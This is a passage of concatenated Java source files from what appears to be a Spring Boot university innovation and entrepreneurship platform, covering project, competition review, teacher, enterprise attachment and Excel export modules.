// String UPLOAD_FILES_PATH = ConfigApi.UPLOAD_URL + matchName + "/" + RandomUtils.getRandomNums() + "/";
String UPLOAD_FILES_PATH = "declareProcessName"+ File.separator + Calendar.getInstance().get(Calendar.YEAR) + File.separator+ File.separator + declareProcessName + "/" + RandomUtils.getRandomNums() + "/";
if (Objects.isNull(files) || files.isEmpty()) {
return R.error("文件为空,请重新上传");
}
InnovateDeclarationProcessSettingEntity innovateDeclarationProcessSetting = null;
for(MultipartFile file : files){
String fileName = file.getOriginalFilename();
// result = FileUtils.upLoad(UPLOAD_FILES_PATH, fileName, file);
OSSUtils.upload2OSS(file,UPLOAD_FILES_PATH+fileName);
UPLOAD_FILES_PATH += fileName;
innovateDeclarationProcessSetting = new InnovateDeclarationProcessSettingEntity();
innovateDeclarationProcessSetting.setAttachPath(UPLOAD_FILES_PATH);
innovateDeclarationProcessSetting.setAttachName(fileName);
}
return R.ok("文件上传成功")
.put("innovateDeclarationProcessSetting", innovateDeclarationProcessSetting);
}
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.innovate.dao.UserTeacherInfoDao;
import com.innovate.modules.innovate.entity.UserTeacherInfoEntity;
import com.innovate.modules.innovate.service.UserTeacherInfoService;
import com.innovate.modules.sys.entity.SysUserEntity;
import com.innovate.modules.sys.service.SysUserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:51
* @Version 1.0
*/
@Service
public class UserTeacherInfoServiceImpl extends ServiceImpl<UserTeacherInfoDao, UserTeacherInfoEntity> implements UserTeacherInfoService {
@Autowired
private SysUserService sysUserService;
@Override
public List<SysUserEntity> queryTeacher(Map<String, Object> params) {
return baseMapper.queryTeacher(params);
}
@Override
public List<UserTeacherInfoEntity> queryProjectTeacherInfo(Long projectId) {
return baseMapper.queryProjectTeacherInfo(projectId);
}
@Override
public List<UserTeacherInfoEntity> queryMatchTeacherInfo(Long matchId) {
return baseMapper.queryMatchTeacherInfo(matchId);
}
@Override
public List<UserTeacherInfoEntity> queryDeclareTeacherInfo(Long declareId) {
return baseMapper.queryDeclareTeacherInfo(declareId);
}
@Override
public List<UserTeacherInfoEntity> queryFinishTeacherInfo(Long finishId) {
return baseMapper.queryFinishTeacherInfo(finishId);
}
@Override
public List<UserTeacherInfoEntity> queryAllTeacherInfo() {
return baseMapper.queryAllTeacherInfo();
}
@Override
public UserTeacherInfoEntity queryByUserId(Long userId) {
UserTeacherInfoEntity userTeacherInfoEntity = baseMapper.queryByUserId(userId);
SysUserEntity sysUserEntity = sysUserService.selectById(userId);
if (null == userTeacherInfoEntity) {
userTeacherInfoEntity = new UserTeacherInfoEntity();
}
userTeacherInfoEntity.setSysUserEntity(sysUserEntity);
return userTeacherInfoEntity;
}
@Override
public void saveOrUpdate(UserTeacherInfoEntity userTeacherInfoEntity) {
SysUserEntity sysUserEntity = userTeacherInfoEntity.getSysUserEntity();
userTeacherInfoEntity.setSysUserEntity(null);
this.insertOrUpdate(userTeacherInfoEntity);
sysUserService.insertOrUpdate(sysUserEntity);
}
@Override
public Long queryUserTeacherIdByUserId(Long userId) {
return baseMapper.queryUserTeacherIdByUserId(userId);
}
}
<file_sep>package com.innovate.modules.profess.dao;
import com.innovate.modules.profess.entity.InnovateProfessAttachEntity;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import org.apache.ibatis.annotations.Mapper;
/**
* 专创附件
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:40:46
*/
@Mapper
public interface InnovateProfessAttachDao extends BaseMapper<InnovateProfessAttachEntity> {
}
<file_sep>package com.innovate.modules.profess.entity;
import lombok.Data;
import org.springframework.context.annotation.Bean;
import java.util.List;
/**
* @Author 冯天华
* @Date 2020/12/2 21:36
* @Version 1.0
*/
@Data
public class ProfessModel {
InnovateProfessAchieveEntity professAchieveEntity;
List<InnovateProfessAttachEntity> attachEntityList;
List<InnovateProfessAttachEntity> delAttachEntityList;
}
<file_sep>package com.innovate.modules.profess.controller;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import com.alibaba.excel.EasyExcel;
import com.alibaba.excel.ExcelWriter;
import com.alibaba.excel.write.metadata.WriteSheet;
import com.innovate.common.utils.ShiroUtils;
import com.innovate.modules.profess.entity.ProfessModel;
import com.innovate.modules.sys.entity.SysUserEntity;
import com.innovate.modules.training.entity.InnovateTrainingBaseAchieveEntity;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import com.innovate.modules.profess.entity.InnovateProfessAchieveEntity;
import com.innovate.modules.profess.service.InnovateProfessAchieveService;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import javax.servlet.http.HttpServletResponse;
/**
* 专创成果
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:40:46
*/
@RestController
@RequestMapping("profess/innovateprofessachieve")
public class InnovateProfessAchieveController {
@Autowired
private InnovateProfessAchieveService innovateProfessAchieveService;
/**
* 列表
*/
@RequestMapping("/list")
@RequiresPermissions("profess:innovateprofessachieve:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateProfessAchieveService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 信息
*/
@RequestMapping("/info/{professAchieveId}")
@RequiresPermissions("profess:innovateprofessachieve:info")
public R info(@PathVariable("professAchieveId") Long professAchieveId){
R r = innovateProfessAchieveService.info(professAchieveId);
return r;
}
/**
* 保存
*/
@RequestMapping("/save")
@RequiresPermissions("profess:innovateprofessachieve:save")
public R save(@RequestBody ProfessModel professModel){
innovateProfessAchieveService.insertModel(professModel);
return R.ok();
}
/**
* 修改
*/
@RequestMapping("/update")
@RequiresPermissions("profess:innovateprofessachieve:update")
public R update(@RequestBody ProfessModel professModel){
innovateProfessAchieveService.update(professModel);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
@RequiresPermissions("profess:innovateprofessachieve:delete")
public R delete(@RequestBody Long[] professAchieveIds){
innovateProfessAchieveService.deleteList(Arrays.asList(professAchieveIds));
return R.ok();
}
/**
* 导出
*/
@PostMapping("/export")
@RequiresPermissions("training:innovateprofessachieve:export")
public void export(@RequestBody Long[] professAchieveIds, HttpServletResponse response){
List<InnovateProfessAchieveEntity> professAchieveEntities = new ArrayList<>();
response.setContentType("application/vnd.ms-excel");
response.setCharacterEncoding("utf-8");
/* 获取当前登录用户 */
SysUserEntity userEntity = ShiroUtils.getUserEntity();
String adminName = userEntity.getUsername();
ExcelWriter excelWriter = null;
try {
String fileName = URLEncoder.encode("专创结合成果", "UTF-8");
response.setHeader("Content-disposition","attachment;filename"+fileName+".xlsx");
/* 权限判断:当前用户为管理员(暂时不做权限限制) */
if ("wzxyGLY".equals(adminName) || true){
excelWriter = EasyExcel.write(response.getOutputStream(), InnovateProfessAchieveEntity.class).build();
WriteSheet writeSheet = EasyExcel.writerSheet(0, "专创结合成果").build();
professAchieveEntities = innovateProfessAchieveService.queryListByIds(professAchieveIds);
excelWriter.write(professAchieveEntities,writeSheet);
}
}catch (Exception e){
e.printStackTrace();
}finally {
// 千万别忘记finish 会帮忙关闭流
if (excelWriter != null) {
excelWriter.finish();
}
}
}
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.innovate.common.ProjectCalculate;
import com.innovate.modules.innovate.dao.ProjectInfoDao;
import com.innovate.modules.innovate.entity.*;
import com.innovate.modules.innovate.service.*;
import com.innovate.modules.innovate.utils.BaseTeamAreaTotal;
import com.innovate.modules.innovate.utils.ProjectCalculateUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.text.DecimalFormat;
import java.util.*;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:35
* @Version 1.0
*/
@Service
public class ProjectInfoServiceImpl extends ServiceImpl<ProjectInfoDao, ProjectInfoEntity> implements ProjectCalculate, ProjectInfoService {
@Autowired
private BaseInfoService baseInfoService;
@Autowired
private ProjectApplyService projectApplyService;
@Autowired
private BaseProjectStationService baseProjectStationService;
@Autowired
private ProjectRetreatService projectRetreatService;
ProjectInfoServiceImpl() {
ProjectCalculateUtil.addObject(this);
}
@Override
public ProjectInfoEntity queryById(Long projectId) {
return baseMapper.queryById(projectId);
}
@Override
public Integer queryCountPage(Map<String, Object> params) {
return baseMapper.queryCountPage(params);
}
@Override
public List<ProjectInfoEntity> queryPage(Map<String, Object> params) {
return baseMapper.queryPage(params);
}
@Override
public List<ProjectInfoEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public List<ProjectInfoEntity> noPass(Map<String, Object> params) {
return baseMapper.noPass(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
@Override
public void status(ProjectInfoModel projectInfoModel) {
if (projectInfoModel.getProjectInfoEntity().getProjectStatus() > 1){
//释放工位号(企业状态 2成功 or 3失败)
Long stationId = projectInfoModel.getProjectInfoEntity().getStationId();
BaseProjectStationEntity baseProjectStationEntity = baseProjectStationService.selectById(stationId);
baseProjectStationEntity.setHasApply(0L);
baseProjectStationService.insertOrUpdate(baseProjectStationEntity);
//将工位号外键置为null
projectInfoModel.getProjectInfoEntity().setStationId(null);
}
baseMapper.updateAllColumnById(projectInfoModel.getProjectInfoEntity());
Long projectId = projectInfoModel.getProjectInfoEntity().getProjectId();
Long status = projectInfoModel.getProjectInfoEntity().getProjectBaseApplyStatus();
if (status < 6) {
Map<String, Object> params = new HashMap<>();
params.put("projectId", projectId);
params.put("roleId", 1);
params.put("apply", "project_base_apply_status");
projectApplyService.apply(params);
}
}
@Override
public List<Long> queryStationIdList(Long projectStatus) {
return baseMapper.queryStationIdList(projectStatus);
}
@Override
public Long queryProjectNum(Long projectStatus, Long projectBase, Long projectRegStatus, Long baseId) {
return baseMapper.queryProjectNum(projectStatus, projectBase, projectRegStatus, baseId);
}
@Override
public Double queryInvest() {
return baseMapper.queryInvest();
}
@Override
public Long queryAbsorb(Long baseId) {
return baseMapper.queryAbsorb(baseId);
}
@Override
public Long queryDriveEmNum(Long baseId) {
return baseMapper.queryDriveEmNum(baseId);
}
@Override
public Long queryIprNum(Long projectProperty, Long baseId) {
return baseMapper.queryIprNum(projectProperty, baseId);
}
@Override
public Long queryBaseId(Long projectId) {
return baseMapper.queryBaseId(projectId);
}
@Override
public void station(ProjectInfoModel projectInfoModel) {
Long projectId = projectInfoModel.getProjectInfoEntity().getProjectId();
Long updateStationId = projectInfoModel.getProjectInfoEntity().getStationId();
ProjectInfoEntity projectInfoEntity = baseMapper.selectById(projectId);
Long stationId = projectInfoEntity.getStationId();
baseMapper.updateById(projectInfoModel.getProjectInfoEntity());
if (stationId == null) {
baseProjectStationService.hasApply(updateStationId);
Map<String, Object> params = new HashMap<>();
params.put("projectId", projectId);
params.put("roleId", 5);
params.put("apply", "project_base_apply_status");
projectApplyService.apply(params);
} else {
baseProjectStationService.hasApply(updateStationId);
baseProjectStationService.delApply(stationId);
}
}
@Override
public void calculate(Long projectId, Long baseId) {
if (null != baseId) {
BaseInfoEntity baseInfoEntity = baseInfoService.selectById(baseId);
//企业使用面积
Double baseTeamArea = BaseTeamAreaTotal.calculate(baseId);
//logger.error("tz---工位面积--->"+baseTeamArea);
baseInfoEntity.setBaseTeamArea(baseTeamArea);
//场地利用率
Double userRate = baseTeamArea / (baseInfoEntity.getBaseArea());
//logger.error("tz---场地利用率--->"+userRate);
baseInfoEntity.setBaseAreaUseRate(userRate);
/**
* 统计项目总数
* 参数:projectStatus-->项目状态(1在驻B0,2成功C0,3失败D0)
* projectBase-->是否有见习基地:1有,2否
* projectRegStatus-->是否有工商注册情况:1是,2否
* baseId-->所属基地编号
*/
//就业见习基地数量
Long baseNum = this.queryProjectNum(1L, 1L, null, baseId);
if (null == baseNum) {
baseNum = 0L;
}
baseInfoEntity.setBaseNowBaseNum(baseNum);
//现有已注册企业数量
Long companyNum = this.queryProjectNum(1L, null, 1L, baseId);
if (null == companyNum) {
companyNum = 0L;
}
//logger.error("tz--companyNum--->"+companyNum);
baseInfoEntity.setBaseCompanyNum(companyNum);
//现有项目组数量
Long itemNum = this.queryProjectNum(1L, null, null, baseId);
if (null == itemNum) {
itemNum = 0L;
}
baseInfoEntity.setBaseItemNum(itemNum);
//累计已注册企业数
Long allCompany = this.queryProjectNum(null, null, 1L, baseId);
if (null == allCompany) {
allCompany = 0L;
}
baseInfoEntity.setBaseAllCompanyNum(allCompany);
//累计项目组数量
Long allItemNum = this.queryProjectNum(null, null, null, baseId);
if (null == allItemNum) {
allItemNum = 0L;
}
baseInfoEntity.setBaseAllItemNum(allItemNum);
//大学生创业数量
baseInfoEntity.setBaseStuNum(allItemNum);
//累计初创企业数量
baseInfoEntity.setBaseAllInitCompany(allItemNum);
//累计总投资额
//Double allInvest = innovateProjectInfoService.
//就业见习人数
Long absorb = this.queryAbsorb(baseId);
if (null == absorb) {
absorb = 0L;
}
baseInfoEntity.setBaseYearProbate(absorb);
//带动就业人数
Long workerNum = this.queryDriveEmNum(baseId);
if (null == workerNum) {
workerNum = 0L;
}
baseInfoEntity.setBaseWorkNum(workerNum);
//直接就业人数
baseInfoEntity.setBaseDirectNum(workerNum);
//孵化到期出园率
Long C0 = this.queryProjectNum(2L, null, null, baseId);
Long D0 = this.queryProjectNum(3L, null, null, baseId);
if (C0 == null) {
C0 = 0L;
}
if (D0 == null) {
D0 = 0L;
}
if (0.0 == allItemNum.doubleValue()) {
baseInfoEntity.setBaseOutRate(0.0);
} else {
Double endOutRate = (C0.doubleValue() + D0.doubleValue()) / (allItemNum.doubleValue());
DecimalFormat df = new DecimalFormat("#0.0000"); //保留小数点后四位
baseInfoEntity.setBaseOutRate(Double.valueOf(df.format(endOutRate)));
}
//孵化到期出园数量
Long outNum = C0 + D0;
baseInfoEntity.setBaseOutNum(outNum);
//当年实体数量
Long B0 = this.queryProjectNum(1L, null, null, baseId);
if (B0 == null) {
B0 = 0L;
}
baseInfoEntity.setBaseEntityNum(B0);
//拥有的有效知识产权数量
Long iprNum = this.queryIprNum(1L, baseId);
if (null == iprNum) {
iprNum = 0L;
}
baseInfoEntity.setBaseIprNum(iprNum);
baseInfoService.updateAllColumnById(baseInfoEntity);
}
}
}
<file_sep>package com.innovate.modules.enterprise.entity;
import com.alibaba.excel.annotation.ExcelProperty;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.util.Date;
import lombok.Data;
/**
* 企业获奖项目类型
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:42:31
*/
@Data
@TableName("innovate_award_project_type")
public class InnovateAwardProjectTypeEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 自增主键
*/
@TableId
@ExcelProperty(value = "ID")
private Long awardProjectTypeId;
/**
* 获奖项目类型
*/
@ExcelProperty(value = "获奖项目类型")
private String awardProjectType;
}
<file_sep>package com.innovate.modules.enterprise.service.impl;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseInfoEntity;
import org.springframework.stereotype.Service;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.enterprise.dao.InnovateEnterpriseAttachDao;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseAttachEntity;
import com.innovate.modules.enterprise.service.InnovateEnterpriseAttachService;
@Service("innovateEnterpriseAttachService")
public class InnovateEnterpriseAttachServiceImpl extends ServiceImpl<InnovateEnterpriseAttachDao, InnovateEnterpriseAttachEntity> implements InnovateEnterpriseAttachService {
@Override
public PageUtils queryPage(Map<String, Object> params) {
Page<InnovateEnterpriseAttachEntity> page = this.selectPage(
new Query<InnovateEnterpriseAttachEntity>(params).getPage(),
new EntityWrapper<>()
);
return new PageUtils(page);
}
@Override
public void delList(List<Long> list) {
baseMapper.delList(list);
}
}
<file_sep>package com.innovate.modules.innovate.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import com.fasterxml.jackson.databind.annotation.JsonSerialize;
import com.fasterxml.jackson.databind.ser.std.ToStringSerializer;
import lombok.Data;
import java.io.Serializable;
import java.util.Date;
/**
* @author:tz
* @create:2019-01-08
* @description:项目月报表
**/
@Data
@TableName("innovate_project_monthly_report")
public class ProjectMonthlyReportEntity implements Serializable {
@TableId
private Long reportId;
private Long projectId;
@JsonSerialize(using= ToStringSerializer.class)
private Double reportInvestCapital;
@JsonSerialize(using=ToStringSerializer.class)
private Double reportSales;
private String reportSalesName;
private String reportSalesPath;
@JsonSerialize(using=ToStringSerializer.class)
private Double reportProfits;
private String reportProfitsName;
private String reportProfitsPath;
@JsonSerialize(using=ToStringSerializer.class)
private Double reportTax;
private String reportTaxName;
private String reportTaxPath;
private Date reportTime;
private Long isDel;
}
<file_sep>package com.innovate.modules.declare.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.declare.entity.DeclareAwardEntity;
import com.innovate.modules.match.entity.MatchAwardEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:29
* @Version 1.0
*/
@Mapper
public interface DeclareAwardDao extends BaseMapper<DeclareAwardEntity> {
List<DeclareAwardEntity> queryAll(Map<String, Object> params);
//统计获奖数量
Long queryAwardNum(Map<String, Object> params);
//统计奖金数量
Double queryAwardMoney(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.match.service.impl;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.DateUtils;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.entity.InnovateReviewGroupUserEntity;
import com.innovate.modules.innovate.service.InnovateReviewGroupUserService;
import com.innovate.modules.match.dao.MatchReviewDao;
import com.innovate.modules.match.entity.MatchInfoEntity;
import com.innovate.modules.match.entity.MatchReviewEntity;
import com.innovate.modules.match.entity.MatchTeacherEntity;
import com.innovate.modules.match.entity.MatchUnScoreTeacherEntity;
import com.innovate.modules.match.service.*;
import com.innovate.modules.sys.service.SysUserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.*;
/**
* @author Mikey
* @Title:
* @Description:
* @Email:<EMAIL>
* @date 2018/11/19 18:43
* @Version 1.0
*/
@Service
public class MatchReviewServiceImpl extends ServiceImpl<MatchReviewDao, MatchReviewEntity> implements MatchReviewService {
@Autowired
private MatchReviewService matchReviewService;
@Autowired
private MatchApplyService matchApplyService;
@Autowired
private MatchInfoService matchInfoService;
@Autowired
private MatchTeacherService matchTeacherService;
@Autowired
private InnovateReviewGroupUserService innovateReviewGroupUserService;
@Autowired
private SysUserService sysUserService;
@Override
public List<MatchReviewEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
@Override
public Long queryCount(Map<String, Object> params){
return baseMapper.queryCount(params);
}
@Override
public List<MatchUnScoreTeacherEntity> queryTeacher(Map<String, Object> params){
return baseMapper.queryTeacher(params);
}
@Override
public Double queryScoreAvg(Map<String, Object> params) {
return baseMapper.queryScoreAvg(params);
}
@Override
public PageUtils unReview(Map<String, Object> params) {
EntityWrapper<MatchReviewEntity> ew = new EntityWrapper<>();
ew.isNull("score").eq("is_del",0);//未评分
if (params.get("matchTime")!=null)ew.like("match_year",params.get("matchTime").toString());
Page<MatchReviewEntity> page = this.selectPage(
new Query<MatchReviewEntity>(params).getPage(),ew
);
List<MatchReviewEntity> records = page.getRecords();
records.forEach(v->{
v.setSysUserEntity(sysUserService.selectById(v.getUserId()));
v.setMatchInfoEntity(matchInfoService.selectById(v.getMatchId()));
});
page.setRecords(records);
return new PageUtils(page);
}
//// @Override
// public void queryAll1(Map<String, Object> params) {
// List<MatchReviewEntity> matchReviewEntity = matchReviewService.queryAll(params);
// List unViewTeacher = matchReviewService.queryTeacher(params);
//
// }
@Override
public void reviewUser(Map<String,Object> params) {
Long matchId = Long.parseLong(params.get("matchId").toString());
Long groupId = Long.parseLong(params.get("groupId").toString());
Long userId = Long.parseLong(params.get("userId").toString());
String apply = params.get("apply").toString();
String reApply = params.get("reApply").toString();
MatchInfoEntity matchInfoEntity = matchInfoService.selectById(matchId);
matchInfoEntity.setGroupId(groupId);
matchInfoService.updateById(matchInfoEntity);
//查询老师
List<MatchTeacherEntity> matchTeacherEntities = matchTeacherService.queryAll(params);
//评委组
List<InnovateReviewGroupUserEntity> innovateReviewGroupUserEntities = innovateReviewGroupUserService.queryAllGroupUser(groupId);
//移除全部评委
matchReviewService.remove(params);
Set<MatchReviewEntity> tempSet = new HashSet<>();
MatchReviewEntity matchReviewEntity = null;
for (int index = 0; index < innovateReviewGroupUserEntities.size(); index++) {
for (int indexJ = 0; indexJ < matchTeacherEntities.size(); indexJ++) {
if (innovateReviewGroupUserEntities.get(index).getUserId() != matchTeacherEntities.get(indexJ).getUserId()) {
matchReviewEntity = new MatchReviewEntity();
matchReviewEntity.setApply(apply);
matchReviewEntity.setMatchId(matchId);
matchReviewEntity.setMatchYear(Long.parseLong(DateUtils.format(matchInfoEntity.getMatchTime()).substring(0,3)));
matchReviewEntity.setUserId(innovateReviewGroupUserEntities.get(index).getUserId());
tempSet.add(matchReviewEntity);
}
}
}
matchReviewService.insertBatch(new ArrayList<>(tempSet));
if (reApply.equals("false")) {
matchApplyService.apply(params);
}
}
@Override
public void score(MatchReviewEntity matchReviewEntity) {
Long matchId = matchReviewEntity.getMatchId();
matchReviewService.updateById(matchReviewEntity);
String apply = matchReviewEntity.getApply();
Map<String, Object> params = new HashMap<>();
params.put("apply", apply);
params.put("matchId", matchId);
params.put("roleId", 6);
Long count = matchReviewService.queryCount(params);
if (count == 0L){
matchApplyService.apply(params);
//计算平均分
Double scoreAvg = matchReviewService.queryScoreAvg(params);
MatchInfoEntity matchInfoEntity = matchInfoService.selectById(matchId);
matchInfoEntity.setMatchScoreAvg(scoreAvg);
matchInfoService.updateById(matchInfoEntity);
}
// List unViewTeacher = matchReviewService.queryTeacher(params);
}
@Override
public MatchReviewEntity queryScore(Map<String,Object> params) {
return baseMapper.queryScore(params);
}
}
<file_sep>package com.innovate.modules.sys.service.impl;
import com.innovate.modules.sys.dao.SysMailCodeDao;
import com.innovate.modules.sys.entity.SysMailCodeEntity;
import com.innovate.modules.sys.service.SysMailCodeService;
import org.springframework.stereotype.Service;
import java.util.Map;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
@Service("sysMailCodeService")
public class SysMailCodeServiceImpl extends ServiceImpl<SysMailCodeDao, SysMailCodeEntity> implements SysMailCodeService {
@Override
public PageUtils queryPage(Map<String, Object> params) {
Page<SysMailCodeEntity> page = this.selectPage(
new Query<SysMailCodeEntity>(params).getPage(),
new EntityWrapper<>()
);
return new PageUtils(page);
}
@Override
public SysMailCodeEntity queryMailCode(SysMailCodeEntity sysMailCodeEntity) {
return baseMapper.queryMailCode(sysMailCodeEntity);
}
}
<file_sep>package com.innovate.modules.innovate.controller;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.innovate.entity.InnovateReviewGroupUserEntity;
import com.innovate.modules.innovate.service.InnovateReviewGroupUserService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.Arrays;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
@RestController
@RequestMapping("innovate/sys/group/user")
public class InnovateReviewGroupUserController extends AbstractController {
@Autowired
private InnovateReviewGroupUserService innovateReviewGroupUserService;
/**
* 信息
*/
@GetMapping("/info/{gradeId}")
@RequiresPermissions("innovate:group:info")
public R info(@PathVariable("gradeId") Integer gradeId){
InnovateReviewGroupUserEntity grade = innovateReviewGroupUserService.selectById(gradeId);
return R.ok().put("grade", grade);
}
/**
* 保存
*/
@PostMapping("/save")
@RequiresPermissions("innovate:group:save")
public R save(@RequestBody InnovateReviewGroupUserEntity innovateGroupUserEntity){
innovateReviewGroupUserService.insert(innovateGroupUserEntity);
return R.ok();
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:group:update")
public R update(@RequestBody InnovateReviewGroupUserEntity innovateGroupUserEntity){
innovateReviewGroupUserService.updateAllColumnById(innovateGroupUserEntity);
return R.ok();
}
/**
* 删除
*/
@PostMapping("/delete")
@RequiresPermissions("innovate:group:delete")
public R delete(@RequestBody Long[] gradeIds){
innovateReviewGroupUserService.deleteBatchIds(Arrays.asList(gradeIds));
return R.ok();
}
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.UserTeacherInfoEntity;
import com.innovate.modules.sys.entity.SysUserEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:07
* @Version 1.0
*/
@Mapper
public interface UserTeacherInfoDao extends BaseMapper<UserTeacherInfoEntity> {
List<SysUserEntity> queryTeacher(Map<String, Object> params);
List<UserTeacherInfoEntity> queryProjectTeacherInfo(Long projectId);
List<UserTeacherInfoEntity> queryMatchTeacherInfo(Long matchId);
List<UserTeacherInfoEntity> queryDeclareTeacherInfo(Long declareId);
List<UserTeacherInfoEntity> queryFinishTeacherInfo(Long finishId);
List<UserTeacherInfoEntity> queryAllTeacherInfo();
List<UserTeacherInfoEntity> queryAll(Long userTeacherId);
Long deleteByProjectId(Long projectId);
UserTeacherInfoEntity queryByUserId(Long userId);
/**
* 用户id 查教师id
* @param userId
* @return
*/
Long queryUserTeacherIdByUserId(Long userId);
}
<file_sep>package com.innovate.modules.declare.controller;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.declare.entity.DeclareReviewEntity;
import com.innovate.modules.declare.service.DeclareReviewService;
import com.innovate.modules.innovate.entity.InnovateDeclarationProcessSettingEntity;
import com.innovate.modules.match.entity.MatchUnScoreTeacherEntity;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 21:10
* @Version 1.0
*/
@RestController
@RequestMapping("innovate/declare/review")
public class DeclareReviewController extends AbstractController {
@Autowired
private DeclareReviewService declareReviewService;
/**
* 分配评委组绑定用户
*/
@PostMapping("/review")
@RequiresPermissions("innovate:declare:list")
public R review(@RequestBody Map<String,Object> params){
declareReviewService.reviewUser(params);
return R.ok();
}
/**
* 评分
*/
@PostMapping("/score")
@RequiresPermissions("innovate:declare:list")
public R score(@RequestBody(required = false) DeclareReviewEntity declareReviewEntity){
declareReviewService.score(declareReviewEntity);
return R.ok();
}
/**
* 查询评分
*/
@GetMapping("/info")
@RequiresPermissions("innovate:declare:list")
public R info(@RequestParam Map<String,Object> params){
DeclareReviewEntity declareReviewEntity = declareReviewService.queryScore(params);
return R.ok().put("declareReviewEntity",declareReviewEntity);
}
/**
* 查询未评分评委
*/
@GetMapping("/noScoreTeacher")
@RequiresPermissions("innovate:match:list")
public R unReviewTeacher(@RequestParam Map<String,Object> params){
List<MatchUnScoreTeacherEntity> noScoreTeacher = declareReviewService.queryTeacher(params);
return R.ok().put("noScoreTeacher", noScoreTeacher);
}
/**
* 查询未评分
*/
@GetMapping("/unReview")
@RequiresPermissions("innovate:declare:list")
public R unReview(@RequestParam Map<String,Object> params){
PageUtils page = declareReviewService.unReview(params);
return R.ok().put("page",page);
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:declare:list")
public R update(@RequestBody DeclareReviewEntity declareReviewEntity){
declareReviewService.updateAllColumnById(declareReviewEntity);
return R.ok();
}
}
<file_sep>package com.innovate.modules.enterprise.controller;
import java.io.File;
import java.util.*;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.innovate.common.utils.OSSUtils;
import com.innovate.modules.util.FileUtils;
import com.innovate.modules.util.RandomUtils;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseAttachEntity;
import com.innovate.modules.enterprise.service.InnovateEnterpriseAttachService;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* 企业附件表
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:42:31
*/
@RestController
@RequestMapping("enterprise/innovateenterpriseattach")
public class InnovateEnterpriseAttachController {
@Autowired
